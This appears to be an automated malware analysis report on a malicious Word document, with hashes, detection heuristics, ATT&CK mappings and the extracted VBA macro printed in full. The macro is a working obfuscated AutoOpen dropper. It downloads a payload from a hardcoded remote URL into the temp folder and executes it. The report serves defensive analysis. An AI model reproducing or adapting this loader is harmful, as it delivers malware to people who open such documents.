Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 798dcfbb1221a997…

MALICIOUS

Office (OLE)

36.0 KB Created: 2015-03-24 06:46:00 Authoring application: Microsoft Office Word First seen: 2016-04-01
MD5: 19afa6fdca8798504ac246d6df2225e3 SHA-1: 6528360312cf17a8ca47ea19f878ac6640da5161 SHA-256: 798dcfbb1221a997fac1e112b67ef5aa3ea15bc838cb611d2b26a4e599e5de2d
288 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious OLE document containing an obfuscated VBA auto-exec loader. The VBA code attempts to download a second-stage payload from a hardcoded URL and execute it. The ClamAV detection 'Doc.Dropper.Agent-6536194-0' further supports its dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6536194-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6536194-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3101 bytes
SHA-256: 9a461a78a4afb6b27cb0cb1c8605860a4594ef561931bcb06a5fd00bda24ba39
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
M74TMHsK391U17
End Sub

Attribute VB_Name = "Module1"

Function RaSfP6r1363354I(ByVal PzRG5z7lX09IgN5jL2 As String, ByVal PF5ZVO1vjpV4jr0SV9QERY3q3 As String) As Boolean
Dim sSt9btW4T0Q9CRYn As Object, PJZVvQ3ZZA As Long, JJ11x8 As Long, PN10dD65K61UuEYF53() As Byte
Set sSt9btW4T0Q9CRYn = CreateObject(ChrW(38.5 + 38.5) & ChrW(41.5 + 41.5) & ChrW(44 + 44) & ChrW(38.5 + 38.5) & ChrW(38 + 38) & ChrW(25 + 25) & ChrW(23 + 23) & ChrW(44 + 44) & ChrW(38.5 + 38.5) & ChrW(38 + 38) & ChrW(36 + 36) & ChrW(42 + 42) & ChrW(42 + 42) & ChrW(40 + 40))
sSt9btW4T0Q9CRYn.Open ChrW(35.5 + 35.5) & ChrW(34.5 + 34.5) & ChrW(42 + 42), PzRG5z7lX09IgN5jL2, False
sSt9btW4T0Q9CRYn.Send "e"
PN10dD65K61UuEYF53 _
 = sSt9btW4T0Q9CRYn.responseBody
JJ11x8 = FreeFile
Open _
 PF5ZVO1vjpV4jr0SV9QERY3q3 For _
 Binary Access _
 Write Lock Write As #JJ11x8
Put #JJ11x8, , PN10dD65K61UuEYF53
Close #JJ11x8
Set GFCUTFUf87TGUbjdfgfdg = CreateObject(ChrW(41.5 + 41.5) & ChrW(52 + 52) & ChrW(50.5 + 50.5) & ChrW(54 + 54) & ChrW(54 + 54) & ChrW(23 + 23) & ChrW(32.5 + 32.5) & ChrW(56 + 56) & ChrW(56 + 56) & ChrW(54 + 54) & ChrW(52.5 + 52.5) & ChrW(49.5 + 49.5) & ChrW(48.5 + 48.5) & ChrW(58 + 58) & ChrW(52.5 + 52.5) & ChrW(55.5 + 55.5) & ChrW(55 + 55))
GFCUTFUf87TGUbjdfgfdg.Open _
 Environ(ChrW(42 + 42) & ChrW(34.5 + 34.5) & ChrW(38.5 + 38.5) & ChrW(40 + 40)) & ChrW(46 + 46) & ChrW(34 + 34) & ChrW(39.5 + 39.5) & ChrW(43.5 + 43.5) & ChrW(42.5 + 42.5) & ChrW(36.5 + 36.5) & ChrW(32.5 + 32.5) & ChrW(32.5 + 32.5) & ChrW(35 + 35) & ChrW(40.5 + 40.5) & ChrW(42 + 42) & ChrW(32.5 + 32.5) & ChrW(23 + 23) & ChrW(50.5 + 50.5) & ChrW(60 + 60) & ChrW(50.5 + 50.5)
End Function


Attribute VB_Name = "Module2"

Sub M74TMHsK391U17()
RaSfP6r1363354I ChrW(52 + 52) & ChrW(58 + 58) & ChrW(58 + 58) & ChrW(56 + 56) & ChrW(29 + 29) & ChrW(23.5 + 23.5) & ChrW(23.5 + 23.5) & ChrW(28.5 + 28.5) & ChrW(24.5 + 24.5) & ChrW(23 + 23) & ChrW(25 + 25) & ChrW(26 + 26) & ChrW(25 + 25) & ChrW(23 + 23) & ChrW(24.5 + 24.5) & ChrW(27 + 27) & ChrW(25.5 + 25.5) & ChrW(23 + 23) & ChrW(27.5 + 27.5) & ChrW(28 + 28) & ChrW(23.5 + 23.5) & ChrW(57.5 + 57.5) & ChrW(56.5 + 56.5) & ChrW(59.5 + 59.5) & ChrW(50.5 + 50.5) & ChrW(57 + 57) & ChrW(50.5 + 50.5) & ChrW(23.5 + 23.5) & ChrW(49.5 + 49.5) & ChrW(48.5 + 48.5) & ChrW(57.5 + 57.5) & ChrW(54.5 + 54.5) & ChrW(48.5 + 48.5) & ChrW(23 + 23) & ChrW(51.5 + 51.5) & ChrW(52.5 + 52.5) & ChrW(51 + 51), _
 Environ(ChrW(42 + 42) & ChrW(34.5 + 34.5) & ChrW(38.5 + 38.5) & ChrW(40 + 40)) & ChrW(46 + 46) & ChrW(34 + 34) & ChrW(39.5 + 39.5) & ChrW(43.5 + 43.5) & ChrW(42.5 + 42.5) & ChrW(36.5 + 36.5) & ChrW(32.5 + 32.5) & ChrW(32.5 + 32.5) & ChrW(35 + 35) & ChrW(40.5 + 40.5) & ChrW(42 + 42) & ChrW(32.5 + 32.5) & ChrW(23 + 23) & ChrW(50.5 + 50.5) & ChrW(60 + 60) & ChrW(50.5 + 50.5)
End Sub

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